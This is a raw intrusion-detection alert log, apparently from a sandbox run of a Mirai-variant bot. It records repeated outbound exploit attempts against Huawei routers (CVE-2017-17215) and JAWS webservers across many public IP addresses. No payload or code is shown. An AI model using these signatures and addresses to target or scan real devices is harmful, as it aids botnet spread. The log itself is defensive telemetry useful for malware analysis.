                                                          2024-12-03T23:17:16.350096+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2349198197.22.155.14337215TCP
                                                          2024-12-03T23:17:16.350298+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234041441.144.60.937215TCP
                                                          2024-12-03T23:17:16.366297+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2340564156.76.208.9337215TCP
                                                          2024-12-03T23:17:16.381422+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2346806197.50.157.037215TCP
                                                          2024-12-03T23:17:16.397113+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2347480197.246.98.8637215TCP
                                                          2024-12-03T23:17:16.544251+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2352296209.218.254.7280TCP
                                                          2024-12-03T23:17:16.544251+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2352296209.218.254.7280TCP
                                                          2024-12-03T23:17:16.559667+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2360380205.115.19.18980TCP
                                                          2024-12-03T23:17:16.559667+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2360380205.115.19.18980TCP
                                                          2024-12-03T23:17:16.575320+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2358502124.213.253.2280TCP
                                                          2024-12-03T23:17:16.575320+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2358502124.213.253.2280TCP
                                                          2024-12-03T23:17:16.575448+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2342216187.217.57.15780TCP
                                                          2024-12-03T23:17:16.575448+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2342216187.217.57.15780TCP
                                                          2024-12-03T23:17:16.584548+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2345226199.48.240.2680TCP
                                                          2024-12-03T23:17:16.584548+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2345226199.48.240.2680TCP
                                                          2024-12-03T23:17:16.601302+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2350780160.118.116.20480TCP
                                                          2024-12-03T23:17:16.601302+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2350780160.118.116.20480TCP
                                                          2024-12-03T23:17:17.341292+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2355172197.20.66.17637215TCP
                                                          2024-12-03T23:17:17.341532+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234383442.96.90.15080TCP
                                                          2024-12-03T23:17:17.341532+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234383442.96.90.15080TCP
                                                          2024-12-03T23:17:17.341608+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2347178153.109.96.15980TCP
                                                          2024-12-03T23:17:17.341608+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2347178153.109.96.15980TCP
                                                          2024-12-03T23:17:17.372101+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234520857.118.124.19680TCP
                                                          2024-12-03T23:17:17.372101+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234520857.118.124.19680TCP
                                                          2024-12-03T23:17:17.372218+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2351650168.72.114.10380TCP
                                                          2024-12-03T23:17:17.372218+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2351650168.72.114.10380TCP
                                                          2024-12-03T23:17:17.397151+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2347928156.131.124.11037215TCP
                                                          2024-12-03T23:17:17.419237+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2335828156.95.85.10837215TCP
                                                          2024-12-03T23:17:17.428638+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233487667.186.194.13680TCP
                                                          2024-12-03T23:17:17.428638+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233487667.186.194.13680TCP
                                                          2024-12-03T23:17:17.459460+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2349004197.202.167.13137215TCP
                                                          2024-12-03T23:17:17.583211+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235726846.149.136.2180TCP
                                                          2024-12-03T23:17:17.583211+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235726846.149.136.2180TCP
                                                          2024-12-03T23:17:17.638108+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2338342156.92.173.15937215TCP
                                                          2024-12-03T23:17:17.647404+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233638041.129.69.5737215TCP
                                                          2024-12-03T23:17:17.662767+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2357086197.72.154.11537215TCP
                                                          2024-12-03T23:17:17.669296+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235138441.56.183.2237215TCP
                                                          2024-12-03T23:17:18.358195+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234912895.38.48.22380TCP
                                                          2024-12-03T23:17:18.358195+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234912895.38.48.22380TCP
                                                          2024-12-03T23:17:18.546485+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2359436107.254.106.9980TCP
                                                          2024-12-03T23:17:18.546485+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2359436107.254.106.9980TCP
                                                          2024-12-03T23:17:18.593246+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2345486145.12.51.10280TCP
                                                          2024-12-03T23:17:18.593246+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2345486145.12.51.10280TCP
                                                          2024-12-03T23:17:18.593266+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2357430144.244.202.1880TCP
                                                          2024-12-03T23:17:18.593266+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2357430144.244.202.1880TCP
                                                          2024-12-03T23:17:18.593269+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.23597762.68.142.180TCP
                                                          2024-12-03T23:17:18.593269+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.23597762.68.142.180TCP
                                                          2024-12-03T23:17:18.593389+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235109098.46.105.14480TCP
                                                          2024-12-03T23:17:18.593389+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235109098.46.105.14480TCP
                                                          2024-12-03T23:17:18.593510+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2343788113.67.108.380TCP
                                                          2024-12-03T23:17:18.593510+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2343788113.67.108.380TCP
                                                          2024-12-03T23:17:18.593515+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235409851.31.14.480TCP
                                                          2024-12-03T23:17:18.593515+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235409851.31.14.480TCP
                                                          2024-12-03T23:17:18.593646+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233986083.114.35.24780TCP
                                                          2024-12-03T23:17:18.593646+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233986083.114.35.24780TCP
                                                          2024-12-03T23:17:18.593780+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235665884.216.136.5280TCP
                                                          2024-12-03T23:17:18.593780+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235665884.216.136.5280TCP
                                                          2024-12-03T23:17:18.593916+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234978812.231.107.10880TCP
                                                          2024-12-03T23:17:18.593916+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234978812.231.107.10880TCP
                                                          2024-12-03T23:17:18.595019+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2340986129.72.45.4780TCP
                                                          2024-12-03T23:17:18.595019+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2340986129.72.45.4780TCP
                                                          2024-12-03T23:17:18.602199+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2338996155.188.236.8380TCP
                                                          2024-12-03T23:17:18.602199+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2338996155.188.236.8380TCP
                                                          2024-12-03T23:17:18.602363+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233840095.165.95.25580TCP
                                                          2024-12-03T23:17:18.602363+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233840095.165.95.25580TCP
                                                          2024-12-03T23:17:18.602367+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234013457.139.237.15280TCP
                                                          2024-12-03T23:17:18.602367+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234013457.139.237.15280TCP
                                                          2024-12-03T23:17:18.602493+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2354538113.149.205.7680TCP
                                                          2024-12-03T23:17:18.602493+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2354538113.149.205.7680TCP
                                                          2024-12-03T23:17:18.633762+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235738066.32.129.4380TCP
                                                          2024-12-03T23:17:18.633762+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235738066.32.129.4380TCP
                                                          2024-12-03T23:17:19.342341+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233503841.87.30.13437215TCP
                                                          2024-12-03T23:17:19.357007+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2347764156.0.134.9537215TCP
                                                          2024-12-03T23:17:19.372476+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2342246197.237.65.7537215TCP
                                                          2024-12-03T23:17:19.372559+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2342716197.215.236.20237215TCP
                                                          2024-12-03T23:17:19.372707+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2347618197.189.24.7837215TCP
                                                          2024-12-03T23:17:19.381923+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2350438197.78.119.5637215TCP
                                                          2024-12-03T23:17:19.382044+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2340708156.48.134.6637215TCP
                                                          2024-12-03T23:17:19.382253+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2336864156.17.245.16537215TCP
                                                          2024-12-03T23:17:19.382375+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2346686197.157.34.14937215TCP
                                                          2024-12-03T23:17:19.387783+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234867441.63.137.24437215TCP
                                                          2024-12-03T23:17:19.387893+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235693241.76.137.3637215TCP
                                                          2024-12-03T23:17:19.388030+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2350768156.41.191.7437215TCP
                                                          2024-12-03T23:17:19.397188+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2345550197.68.104.9237215TCP
                                                          2024-12-03T23:17:19.403662+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233991641.63.158.24037215TCP
                                                          2024-12-03T23:17:19.403766+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233943241.116.81.24737215TCP
                                                          2024-12-03T23:17:19.403949+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235124641.19.18.13937215TCP
                                                          2024-12-03T23:17:19.419213+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2355390184.91.46.13280TCP
                                                          2024-12-03T23:17:19.419213+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2355390184.91.46.13280TCP
                                                          2024-12-03T23:17:19.419342+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2347838170.130.35.17380TCP
                                                          2024-12-03T23:17:19.419342+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2347838170.130.35.17380TCP
                                                          2024-12-03T23:17:19.419427+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2353984185.139.205.480TCP
                                                          2024-12-03T23:17:19.419427+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2353984185.139.205.480TCP
                                                          2024-12-03T23:17:19.419562+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2342338157.94.111.1280TCP
                                                          2024-12-03T23:17:19.419562+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2342338157.94.111.1280TCP
                                                          2024-12-03T23:17:19.419662+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2339882156.112.195.10137215TCP
                                                          2024-12-03T23:17:19.428344+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2348906156.8.192.18437215TCP
                                                          2024-12-03T23:17:19.428455+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2359396197.84.129.21237215TCP
                                                          2024-12-03T23:17:19.439520+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233277641.222.2.13137215TCP
                                                          2024-12-03T23:17:19.444033+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2335458156.10.152.7937215TCP
                                                          2024-12-03T23:17:19.444045+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233905641.150.245.6637215TCP
                                                          2024-12-03T23:17:19.444147+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234280441.121.213.16537215TCP
                                                          2024-12-03T23:17:19.444231+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234822441.112.130.19537215TCP
                                                          2024-12-03T23:17:19.459551+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2360420156.98.201.3637215TCP
                                                          2024-12-03T23:17:19.459761+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2336796156.66.157.1537215TCP
                                                          2024-12-03T23:17:19.459794+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2344718197.142.165.22237215TCP
                                                          2024-12-03T23:17:19.466087+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235176436.206.184.2980TCP
                                                          2024-12-03T23:17:19.466087+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235176436.206.184.2980TCP
                                                          2024-12-03T23:17:19.475333+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233390241.56.90.10037215TCP
                                                          2024-12-03T23:17:19.497304+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233567254.36.196.20580TCP
                                                          2024-12-03T23:17:19.497304+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233567254.36.196.20580TCP
                                                          2024-12-03T23:17:19.497446+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2336786162.32.100.21480TCP
                                                          2024-12-03T23:17:19.497446+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2336786162.32.100.21480TCP
                                                          2024-12-03T23:17:19.506536+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234260485.134.54.5580TCP
                                                          2024-12-03T23:17:19.506536+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234260485.134.54.5580TCP
                                                          2024-12-03T23:17:19.506654+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2351602126.230.82.20880TCP
                                                          2024-12-03T23:17:19.506654+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2351602126.230.82.20880TCP
                                                          2024-12-03T23:17:19.506839+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2351146118.197.22.280TCP
                                                          2024-12-03T23:17:19.506839+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2351146118.197.22.280TCP
                                                          2024-12-03T23:17:19.522100+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234073840.102.184.17080TCP
                                                          2024-12-03T23:17:19.522100+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234073840.102.184.17080TCP
                                                          2024-12-03T23:17:19.624473+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233426441.91.169.537215TCP
                                                          2024-12-03T23:17:19.624574+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2336186197.28.130.21437215TCP
                                                          2024-12-03T23:17:19.669175+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2338360160.213.170.5480TCP
                                                          2024-12-03T23:17:19.669175+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2338360160.213.170.5480TCP
                                                          2024-12-03T23:17:19.678200+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2338572115.68.158.7580TCP
                                                          2024-12-03T23:17:19.678200+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2338572115.68.158.7580TCP
                                                          2024-12-03T23:17:19.678349+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2342288156.17.134.15237215TCP
                                                          2024-12-03T23:17:19.678465+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234201041.63.89.13437215TCP
                                                          2024-12-03T23:17:19.678515+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234412437.163.200.22480TCP
                                                          2024-12-03T23:17:19.678515+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234412437.163.200.22480TCP
                                                          2024-12-03T23:17:19.715852+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2359980212.185.60.20980TCP
                                                          2024-12-03T23:17:19.715852+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2359980212.185.60.20980TCP
                                                          2024-12-03T23:17:19.725246+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2336856209.198.232.11480TCP
                                                          2024-12-03T23:17:19.725246+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2336856209.198.232.11480TCP
                                                          2024-12-03T23:17:19.725287+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2346630135.59.238.17480TCP
                                                          2024-12-03T23:17:19.725287+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2346630135.59.238.17480TCP
                                                          2024-12-03T23:17:19.787828+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234330843.138.98.21980TCP
                                                          2024-12-03T23:17:19.787828+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234330843.138.98.21980TCP
                                                          2024-12-03T23:17:20.497402+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235214041.94.254.9537215TCP
                                                          2024-12-03T23:17:20.497506+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235842041.0.163.3337215TCP
                                                          2024-12-03T23:17:20.512848+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235499841.41.166.25537215TCP
                                                          2024-12-03T23:17:20.512928+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.236068641.61.7.12237215TCP
                                                          2024-12-03T23:17:20.544216+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2359090197.120.168.2637215TCP
                                                          2024-12-03T23:17:20.544340+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2338510197.252.111.3537215TCP
                                                          2024-12-03T23:17:20.544413+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2333494197.28.20.7137215TCP
                                                          2024-12-03T23:17:20.544512+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2337410197.173.168.24037215TCP
                                                          2024-12-03T23:17:20.544618+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235505617.75.92.14280TCP
                                                          2024-12-03T23:17:20.544618+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235505617.75.92.14280TCP
                                                          2024-12-03T23:17:20.575265+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2338322168.255.195.13080TCP
                                                          2024-12-03T23:17:20.575265+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2338322168.255.195.13080TCP
                                                          2024-12-03T23:17:20.575364+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2358302217.213.200.5280TCP
                                                          2024-12-03T23:17:20.575364+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2358302217.213.200.5280TCP
                                                          2024-12-03T23:17:20.575507+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2354570156.127.111.16937215TCP
                                                          2024-12-03T23:17:20.575610+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2352450197.180.77.16037215TCP
                                                          2024-12-03T23:17:20.584664+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2341074197.239.247.10837215TCP
                                                          2024-12-03T23:17:20.600407+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235537037.84.242.20780TCP
                                                          2024-12-03T23:17:20.600407+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235537037.84.242.20780TCP
                                                          2024-12-03T23:17:20.600436+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2349228197.239.234.13537215TCP
                                                          2024-12-03T23:17:20.600492+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234350641.151.195.837215TCP
                                                          2024-12-03T23:17:20.600715+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2342572156.139.214.5037215TCP
                                                          2024-12-03T23:17:20.600859+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234281032.141.226.13580TCP
                                                          2024-12-03T23:17:20.600859+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234281032.141.226.13580TCP
                                                          2024-12-03T23:17:20.606578+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2354052197.124.106.21137215TCP
                                                          2024-12-03T23:17:20.616007+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2353020197.127.223.12637215TCP
                                                          2024-12-03T23:17:20.622734+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234822641.93.144.337215TCP
                                                          2024-12-03T23:17:20.647929+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2350704133.59.235.9680TCP
                                                          2024-12-03T23:17:20.647929+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2350704133.59.235.9680TCP
                                                          2024-12-03T23:17:20.669076+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234747641.110.222.5937215TCP
                                                          2024-12-03T23:17:20.669189+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2359350197.189.28.1637215TCP
                                                          2024-12-03T23:17:20.709716+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234260241.46.47.24237215TCP
                                                          2024-12-03T23:17:20.709876+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234273241.52.167.16637215TCP
                                                          2024-12-03T23:17:21.606864+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235183644.54.106.3080TCP
                                                          2024-12-03T23:17:21.606864+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235183644.54.106.3080TCP
                                                          2024-12-03T23:17:21.606867+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234101493.183.67.20580TCP
                                                          2024-12-03T23:17:21.606867+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234101493.183.67.20580TCP
                                                          2024-12-03T23:17:21.615841+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234260245.62.206.17480TCP
                                                          2024-12-03T23:17:21.615841+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234260245.62.206.17480TCP
                                                          2024-12-03T23:17:21.615990+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234467217.1.77.15480TCP
                                                          2024-12-03T23:17:21.615990+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234467217.1.77.15480TCP
                                                          2024-12-03T23:17:21.616079+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2348360111.10.89.10680TCP
                                                          2024-12-03T23:17:21.616079+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2348360111.10.89.10680TCP
                                                          2024-12-03T23:17:21.620372+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235462677.159.194.22080TCP
                                                          2024-12-03T23:17:21.620372+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235462677.159.194.22080TCP
                                                          2024-12-03T23:17:21.622247+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2356650208.190.180.080TCP
                                                          2024-12-03T23:17:21.622247+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2356650208.190.180.080TCP
                                                          2024-12-03T23:17:21.622366+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2339002120.0.131.10080TCP
                                                          2024-12-03T23:17:21.622366+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2339002120.0.131.10080TCP
                                                          2024-12-03T23:17:21.622452+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2352186159.14.248.20680TCP
                                                          2024-12-03T23:17:21.622452+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2352186159.14.248.20680TCP
                                                          2024-12-03T23:17:21.622647+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233721286.26.128.16880TCP
                                                          2024-12-03T23:17:21.622647+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233721286.26.128.16880TCP
                                                          2024-12-03T23:17:21.622791+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2349122148.254.32.24780TCP
